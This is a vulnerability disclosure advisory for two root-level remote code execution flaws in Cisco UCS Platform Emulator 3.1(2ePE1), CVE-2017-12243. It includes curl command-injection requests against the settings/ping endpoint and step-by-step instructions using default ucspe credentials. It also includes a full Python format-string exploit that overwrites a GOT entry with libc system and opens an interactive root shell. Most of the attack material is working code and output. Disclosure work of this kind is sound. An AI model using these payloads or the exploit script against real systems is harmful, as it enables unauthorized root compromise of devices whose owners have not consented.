SSD Advisory – Cisco UCS Platform Emulator Remote Code Execution

blogs.securiteam.com/index.php/archives/3362

SSD / Maor Schwartz November 1, 2017

Vulnerabilities Summary
The following advisory describes two remote code execution vulnerabilities found in Cisco UCS Platform Emulator version 3.1(2ePE1).

Cisco UCS Platform Emulator is the Cisco UCS Manager application bundled into a virtual machine (VM). The VM includes software that emulates hardware communications for the Cisco Unified Computing System (Cisco UCS) hardware that is configured and managed by Cisco UCS Manager. For example, you can use Cisco UCS Platform Emulator to create and test a supported Cisco UCS configuration, or to duplicate an existing Cisco UCS environment for troubleshooting or development purposes.

The vulnerabilities found in Cisco UCS Platform Emulator are:

- Unauthenticated remote code execution
- Authenticated remote code execution

Credit
An independent security researcher has reported this vulnerability to Beyond Security's SecuriTeam Secure Disclosure program

Vendor response
The vendor has released patches to address this vulnerability and issue the following CVE:

- CVE-2017-12243

Vulnerabilities details
Unauthenticated remote code execution
User controlled input is not sufficiently sanitized when passed to *IP/settings/ping* function. An unauthenticated attacker can inject commands via *PING_NUM* and *PING_IP_ADDR* parameters. Those commands will run as root on the remote machine.

Proof of Concept

```
1 curl "http://IP/settings/ping?ping_num=1&ping_ip_addr=127.0.0.1%3buname+-a%3b#"
2 curl -k "https://IP/settings/ping?ping_num=1&ping_ip_addr=127.0.0.1%3buname+-a%3b#"
3 curl "http://IP/settings/ping?ping_num=1%3bid%3b#&ping_ip_addr=127.0.0.1"
4 curl -k "https://IP/settings/ping?ping_num=1%3buname+-a%3b#&ping_ip_addr=127.0.0.1"
```

By sending one of the above requests the Cisco UCS will response with:

```
/sample output/
===============
demo@kali:~/poc$ curl -k "http://IP/settings/ping?ping_num=1&ping_ip_addr=127.0.0.1%3buname+-a%3b#"
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.017 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.017/0.017/0.017/0.000 ms
Linux ucspe 2.6.32-431.el6.i686 #1 SMP Fri Nov 22 00:26:36 UTC 2013 i686 i686 i386 GNU/Linux

demo@kali:~/poc$ curl "http://IP/settings/ping?ping_num=1%3bid%3b#&ping_ip_addr=127.0.0.1"
uid=0(root) gid=0(root) groups=0(root)
```

Authenticated remote code execution
Cisco UCS Platform Emulator is vulnerable to format string vulnerability that leads to remote code execution.

Cisco UCS Platform Emulator runs an SSH server by default, and users who log-in via ssh runs the following command:

```
show sel %x
```

Get the following response:

```
"Error: Invalid rack server value: ...somedigits.."
```

By execute the ssh "s*how sel %x*" command we overwriting *got* entry for _ZN7clidcos15CommandEmulator16cli_param_filterEPKc function from libsamvsh.so with libc system.

Proof of Concept
In order to exploit the vulnerability, please follow the following instructions:

Install ucspe on vm (setup all 3 network cards) with the following user and password:

- Default ucspe user : ucspe
- Default ucspe pass : ucspe

Run the ucspe and write down the ip address of the ucspe (visible in console "Connected to IP: ….")

In this Proof of Concept we will use IP – 192.168.1.43

Open up two terminals on some other machine (kali for example).

On the first terminal:

1. Create *poc* directory, put *poc4_ucspe_3.1.2e.py* in the *poc* directory. change current directory to poc
2. Create *fifo1*:

   ```
   mkfifo fifo1
   ```

3. Create output directory:"

```
1 mkdir output
```

4. Run ssh with *stdin* redirected from *fifo1* and *stdout* redirected to output/log file:

```
1 tail -f fifo1 | ssh ucspe@192.168.1.43 > output/log
2
3 # use default credentials ucspe/ucspe
```

On the second terminal (terminal2):

1. Change current directory to *poc*
2. Run the poc4_ucspe_3.1.2e.py

The output should be:

TERMINAL1

```
1  demo@kali:~/poc$ mkfifo fifo1
2  demo@kali:~/poc$ mkdir output
3  demo@kali:~/poc$ tail -f fifo1 | ssh ucspe@192.168.1.43 > output/log
4  Pseudo-terminal will not be allocated because stdin is not a terminal.
5  The authenticity of host '192.168.1.43 (192.168.1.43)' can't be established.
6  RSA key fingerprint is SHA256:qEdgqNFyfqA2BU1+cH9rmYrsIOiQr/NlCpgAyzrX70Y.
7  Are you sure you want to continue connecting (yes/no)? yes
8  Warning: Permanently added '192.168.1.43' (RSA) to the list of known hosts.
9  uucspe@192.168.1.43's password:
10 TERM environment variable not set.
```

TERMINAL2

```
demo@kali:~/poc$ python poc4_ucspe_3.1.2e.py
Going through some menus please wait a moment..
You should now see on the other terminal message simmilar to "Error: Already in local-mgmt shell.."
[.] Dumping clicli::LocalMgmtSel::show(void*, base::String const&) addres from libsamvsh.so
    -> 0x6b9f64
[.] Calculating _ZN7clidcos15CommandEmulator16cli_param_filterEPKc .got.plt
    -> 0x6d7a70
[.] Dumping snprintf address from libc
    -> 0x7791210
[.] Calculating libc system address
    -> libc base addr = 0x7746000
    -> system addr = 0x7780f60

[.] Sending payload..
show sel %62c%28$nAAA
show sel %237c%28$nAA
show sel %86c%28$nAAA
show sel %229c%28$nAA
Sleep for fork adjustment..
Ok please type your commands (type exit for exit)
> id
['uid=0(root) gid=0(root) groups=0(root)']
>
```

poc4_ucspe_3.1.2e.py

```
import struct
import time
import binascii

def generate_payload(addr):
    basepayload = "show sel AAAAAAAAAAAA"
    aa = (addr >> 24 & 0xff)
    bb = (addr >> 16 & 0xff)
    cc = (addr >> 8 & 0xff)
    dd = (addr >> 0 & 0xff)
    if aa<34:
        aa_c_payload = aa + 222
    else:
        aa_c_payload = aa - 34
    if bb<34:
        bb_c_payload = bb + 222
    else:
        bb_c_payload = bb - 34
    if cc<34:
        cc_c_payload = cc + 222
    else:
        cc_c_payload = cc - 34
    if dd<34:
        dd_c_payload = dd + 222
```

```
25          else:
26              dd_c_payload = dd - 34
27          aa_payload = "%" + str(aa_c_payload) + "c%28$n"
28          bb_payload = "%" + str(bb_c_payload) + "c%28$n"
29          cc_payload = "%" + str(cc_c_payload) + "c%28$n"
30          dd_payload = "%" + str(dd_c_payload) + "c%28$n"
31          aap = basepayload[:9] + aa_payload + basepayload[len(aa_payload)+9:]
32          bbp = basepayload[:9] + bb_payload + basepayload[len(bb_payload)+9:]
33          ccp = basepayload[:9] + cc_payload + basepayload[len(cc_payload)+9:]
34          ddp = basepayload[:9] + dd_payload + basepayload[len(dd_payload)+9:]
35          return [aap,bbp,ccp,ddp]
36
37      def clearlog():
38          fo = open("output/log","w")
39          fo.truncate()
40          fo.close()
41
42      def readlog():
43          logread = [line.strip('\n\0x00') for line in open('output/log')]
44          return logread
45
46      def sendcommand(cmd):
47          f=open("fifo1", "a+")
48          f.write(cmd+"\n")
49          f.close()
50
51      def dump(adr, frmt='p'):
52          clearlog()
53          leak_part = "show sel %28${}".format(frmt)
54          raw_addr = struct.pack("I", adr)
55          if "\x20" in raw_addr:
56              print "space!"
57          out = leak_part + "AAAAAAA"+raw_addr
58          sendcommand(out)
59          time.sleep(2)
60          e = readlog()[0]
61          outbin =  e.split("AAAAAAA")[0].split(": ")[2]
62          clearlog()
63          return outbin+"\x00"
64
65      def starting_point():
66          clearlog()
67          out = "show sel %147$x"
68          sendcommand(out)
69          time.sleep(2)
70          e = readlog()[0]
71          outbin =  e.split("AAAAAAA")[0].split(":")[2]
72          clearlog()
73          return outbin
74
75
```

```
76  clidcos_step = 0x1DB0C
77  libc_emulator_snprintf = 0x0004b210
78  libc_emulator_system = 0x0003af60
79
80  print "Going through some menus please wait a moment.."
81  sendcommand("c")
82  time.sleep(1)
83  sendcommand("show version")
84  time.sleep(1)
85  sendcommand("connect local-mgmt")
86  time.sleep(1)
87  sendcommand("connect local-mgmt")
88  time.sleep(1)
89  sendcommand("show version")
90  time.sleep(5)
91  clearlog()
92
93  print "You should now see on the other terminal message simmilar to \"Error: Already in local-mgmt shell..\" "
94  print "[.] Dumping clicli::LocalMgmtSel::show(void*, base::String const&) addres from libsamvsh.so"
95  off3 = int(starting_point(),16)
96  print "    -> " + hex(off3)
97  print "[.] Calculating _ZN7clidcos15CommandEmulator16cli_param_filterEPKc .got.plt"
98  clidcosGOTPLT = off3+clidcos_step
99  print "    -> " + hex(clidcosGOTPLT)
100 print "[.] Dumping snprintf address from libc"
101 libc_printf = dump(clidcosGOTPLT+8,'s')[:4]
102 libc_tmp1_hex = binascii.hexlify(libc_printf[::-1])
103 libc_snprintf_addr =  int(libc_tmp1_hex, 16)
104 print "    -> " + hex(libc_snprintf_addr)
105 print "[.] Calculating libc system address"
106 libc_base_addr = libc_snprintf_addr - libc_emulator_snprintf
107 print "    -> libc base addr = " + hex(libc_base_addr)
108 libc_system_addr = libc_base_addr + libc_emulator_system
109 print "    -> system addr = " + hex(libc_system_addr)
110 print "\n[.] Sending payload.."
111
112 sendcommand(generate_payload(libc_system_addr)[3] + struct.pack("I", clidcosGOTPLT))
113 print generate_payload(libc_system_addr)[3]
114 sendcommand("show version")
115 time.sleep(1)
116
117 sendcommand(generate_payload(libc_system_addr)[2] + struct.pack("I", clidcosGOTPLT+1))
118 print generate_payload(libc_system_addr)[2]
119 sendcommand("show version")
120 time.sleep(1)
121
122 sendcommand(generate_payload(libc_system_addr)[1] + struct.pack("I", clidcosGOTPLT+2))
123 print generate_payload(libc_system_addr)[1]
124 sendcommand("show version")
125 time.sleep(1)
126
```

```
127 sendcommand(generate_payload(libc_system_addr)[0] + struct.pack("I", clidcosGOTPLT+3))
128 print generate_payload(libc_system_addr)[0]
129 sendcommand("show version")
130 time.sleep(1)
131
132 print "Sleep for fork adjustment.."
133 time.sleep(5)
134 sendcommand("ssh /bin/bash")
135 print "Ok please type your commands (type exit for exit)"
136 time.sleep(2)
137 while True:
138     n = raw_input("> ")
139     if 'exit' in n:
140         break
141     clearlog()
142     sendcommand(n)
143     time.sleep(2)
144     print readlog()
```